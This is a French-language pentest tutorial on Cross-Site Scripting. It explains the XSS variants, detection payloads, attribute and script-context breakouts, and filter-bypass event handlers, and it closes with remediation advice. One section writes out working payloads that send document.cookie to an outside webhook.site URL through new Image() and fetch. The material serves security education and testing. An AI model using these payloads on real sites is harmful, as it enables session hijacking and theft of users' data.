Cross-Site Scripting (XSS)
Le Cross-Site Scripting (XSS) permet à un attaquant d’injecter du code JavaScript dans une page web. Ce code s’exécute dans le navigateur d’un autre utilisateur, dans le contexte de confiance du site ciblé : il peut lire les cookies de session, capturer les frappes clavier, rediriger vers une page de phishing, ou exfiltrer des données.
Les trois variantes
Section intitulée « Les trois variantes »| Type | Mécanisme | Persistance |
|---|---|---|
| Reflected | L’input de l’utilisateur est renvoyé directement dans la réponse HTTP (résultat de recherche, message d’erreur) | Non, la victime doit cliquer sur un lien forgé |
| Stored | Le payload est stocké en base de données et affiché à chaque consultation (commentaire, profil, message) | Oui, tout visiteur de la page est affecté |
| DOM-based | Le code JavaScript de la page écrit l’input dans le DOM sans passer par le serveur | Non, entièrement côté client |
La variante stored est la plus dangereuse : un seul payload compromet tous les utilisateurs qui consultent la ressource infectée.
Détecter un point d’injection
Section intitulée « Détecter un point d’injection »La première étape consiste à identifier les champs qui reflètent l’input dans la page : champs de recherche, formulaires de commentaire, paramètres GET affichés dans l’interface, champs de profil utilisateur.
Soumettre un payload de détection basique dans chaque champ et observer la réponse :
<script>alert(1)</script>Si une boîte de dialogue s’ouvre, l’injection fonctionne et le champ n’échappe pas les balises HTML. Si rien ne se passe, inspecter le code source de la page pour localiser où l’input a été inséré et comprendre comment il a été traité.
Payload alternatif via attribut d’image
Section intitulée « Payload alternatif via attribut d’image »#"><img src=/ onerror=alert(document.cookie)>Ce payload est utile lorsque les balises <script> sont filtrées mais que les balises HTML ne le sont pas. Le navigateur tente de charger une image à l’URL /, échoue, et exécute l’attribut onerror. L’appel à document.cookie dans l’alerte confirme que l’attaquant peut lire les cookies de session.
Le préfixe #"> tente de fermer un attribut ou une balise ouvertes si l’input est injecté à l’intérieur d’un attribut HTML, de la forme :
<input value="[INPUT]"><!-- devient --><input value="#"><img src=/ onerror=alert(document.cookie)>Exfiltration avec webhook.site
Section intitulée « Exfiltration avec webhook.site »alert() confirme l’exécution de code, mais ne démontre pas d’impact réel. Pour prouver l’exfiltration de données, un serveur qui reçoit des requêtes HTTP sortantes est nécessaire.
webhook.site génère une URL unique qui enregistre toutes les requêtes reçues, avec les headers, le body, et les paramètres. C’est un outil de réception sans configuration.
Utilisation
Section intitulée « Utilisation »- Ouvrir webhook.site, une URL unique est générée automatiquement, de la forme
https://webhook.site/xxxx-xxxx-xxxx. - Copier cette URL.
- Construire un payload qui envoie les cookies de session vers cette URL :
<script> new Image().src = "https://webhook.site/xxxx-xxxx-xxxx?c=" + document.cookie;</script>ou via fetch pour plus de contrôle :
<script> fetch("https://webhook.site/xxxx-xxxx-xxxx", { method: "POST", body: document.cookie });</script>- Injecter ce payload dans le champ vulnérable.
- Consulter webhook.site : la requête apparaît avec les cookies de la victime dans le paramètre
cou dans le body.
Ce que webhook.site affiche
Section intitulée « Ce que webhook.site affiche »Chaque requête reçue est listée en temps réel avec :
- L’IP source
- Les headers HTTP (dont
RefereretUser-Agent) - Les paramètres GET
- Le body de la requête
Dans le contexte d’un test, cela permet de confirmer que les cookies d’un compte de test sont bien exfiltrés par le payload.
Cas particuliers
Section intitulée « Cas particuliers »Input dans un attribut HTML
Section intitulée « Input dans un attribut HTML »Si l’input est réfléchi à l’intérieur d’un attribut :
<input type="text" value="[INPUT]" />Fermer l’attribut et la balise pour injecter un événement :
" onmouseover="alert(1)" autofocus onfocus="alert(1)Input dans du JavaScript
Section intitulée « Input dans du JavaScript »Si l’input est réfléchi dans un contexte JavaScript côté serveur :
<script> var query = "[INPUT]";</script>Sortir du contexte de chaîne :
"; alert(1); var x = "Filtre sur <script>
Section intitulée « Filtre sur <script> »Certains filtres bloquent la balise <script> mais pas les gestionnaires d’événements :
<img src=x onerror=alert(1)><svg onload=alert(1)><body onload=alert(1)><details open ontoggle=alert(1)>Remédiation
Section intitulée « Remédiation »La protection repose sur l’échappement systématique des données avant leur insertion dans la page. La méthode dépend du contexte d’insertion :
- Dans le HTML : encoder
<,>,",',&en entités HTML (<,>…) - Dans un attribut : encoder les guillemets
- Dans du JavaScript : ne jamais injecter de données non contrôlées dans un contexte JS côté serveur
- En-tête HTTP : configurer
Content-Security-Policypour restreindre les origines de scripts autorisées - Cookie : ajouter le flag
HttpOnlypour les cookies de session afin qu’ils ne soient pas lisibles par JavaScript
L’utilisation des templates modernes (React, Vue, Angular) offre une protection par défaut contre le XSS réfléchi et stocké, à condition de ne pas utiliser des mécanismes qui désactivent l’échappement automatique (dangerouslySetInnerHTML, v-html, innerHTML).
À retenir
Section intitulée « À retenir »Tout input utilisateur affiché dans une page sans échappement est un vecteur XSS potentiel. alert(document.cookie) confirme l’exécution de code, webhook.site démontre l’exfiltration. En contexte réel, un XSS stored sur une page consultée par des administrateurs donne un accès direct à leurs sessions.